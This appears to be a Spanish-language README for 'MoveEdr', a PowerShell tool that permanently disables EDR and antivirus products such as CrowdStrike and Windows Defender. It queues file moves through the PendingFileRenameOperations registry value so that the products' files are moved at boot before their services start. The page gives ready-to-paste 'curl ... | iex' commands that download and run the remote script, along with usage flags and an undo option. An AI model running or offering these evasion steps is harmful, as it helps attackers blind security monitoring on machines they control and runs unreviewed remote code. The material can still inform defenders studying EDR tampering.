
Deshabilitar permanentemente los EDR como administrador local
Si eres administrador, puedes forzar a Windows a eliminar o mover carpetas y archivos inmediatamente después del arranque, antes de que se inicien los servicios. Esto se puede usar para deshabilitar EDRs.
[!CAUTION] Hay un problema con CrowdStrike que provoca un bucle de arranque con el mensaje "INACCESSIBLE_BOOT_DEVICE". Mi teoría es que CrowdStrike mismo o una solución de despliegue de software intenta instalar los archivos faltantes de CrowdStrike, pero falla y lo deja en un estado roto. No estoy seguro de si esto depende del tiempo transcurrido después del movimiento o del número de reinicios realizados. Mover CrowdStrike la primera vez y reiniciar funciona correctamente. Quizás programes el deshacer después del primer reinicio para pecar de precavido.
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# Reboot!
Los siguientes indicadores están disponibles
Undo : Deshace el movimiento del EDR; funciona con CustomPathsClear: Borra el valor de la clave del registroPrint: Imprime el valor de la clave del registro en un formato legible para humanos en lugar de cadenas terminadas por bytes nulosCustomOnly: De forma predeterminada, CustomPaths y FullyCustomPaths se añaden a los movimientos integrados. Este indicador garantiza que solo se muevan tus rutas personalizadas.CustomPaths: Especifica tus propias rutas de EDR en lugar de usar las integradas. Solo acepta orígenes como entradas; para personalizar también el destino, usa FullyCustomPaths en su lugar.FullyCustomPaths : Especifica orígenes y destinos; te da control sobre el destino en lugar de usar un $Suffix.Suffix: Usa un sufijo diferente para los archivos movidos en lugar del _bak predeterminadoDump: Vuelca los valores de la clave del registro en un formato que se pueda usar con LoadLoad: Carga los valores de la clave del registro previamente volcadosDefenderHard: En lugar de mover solo ejecutables seleccionados de Windows Defender, mueve toda la carpeta Windows DefenderIgnoreOld: No conserves los valores ya existentes de la clave del registro; sobrescríbelos a ciegasReboot: Realiza un reinicio inmediatamente después de establecer la clave del registro. Puede ejecutar actualizaciones de Windows y tardar mucho en reiniciar 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# Do what you need to do!
# Undo
# Same command as before, just append -Undo
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
Algunos programas tienen una función que impide incluso a los administradores locales desinstalarlos o deshabilitarlos. La mayoría de las veces se trata de AV/EDR que te solicitan una contraseña de desactivación, incluso cuando eres administrador.
Este es un truco para deshabilitarlos moviendo archivos y carpetas para que no puedan iniciarse en el siguiente arranque.
PendMoves de SysInternals proporciona movefile.exe, que tiene la siguiente explicación:
Hay varias aplicaciones, como los service packs y los hotfixes, que deben reemplazar un archivo que está en uso y no pueden. Por lo tanto, Windows proporciona la API MoveFileEx para renombrar o eliminar un archivo y permite a la persona que llama especificar que desea que la operación se realice la próxima vez que el sistema se inicie, antes de que se haga referencia a los archivos. El Administrador de sesiones realiza esta tarea leyendo los comandos de renombrado y eliminación registrados del valor HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations.
¿Cómo exactamente hace esto MoveFileEx? Revisemos la documentación:
La función almacena las ubicaciones de los archivos que se van a renombrar al reiniciar en el siguiente valor del registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
Este valor del registro es de tipo REG_MULTI_SZ. Cada operación de renombrado almacena una de las siguientes cadenas terminadas en NULL, dependiendo de si el renombrado es una eliminación o no:
szSrcFile\0\0
szSrcFile\0szDstFile\0
Esto significa que podemos lograr el mismo efecto que movefile.exe creando la clave del registro PendingFileRenameOperations e introduciendo las rutas de los archivos/directorios que queremos eliminar en el formato REG_MULTI_SZ correcto.
El script MoveEdr automatiza la creación de las claves del registro correctas para los siguientes AV/EDR: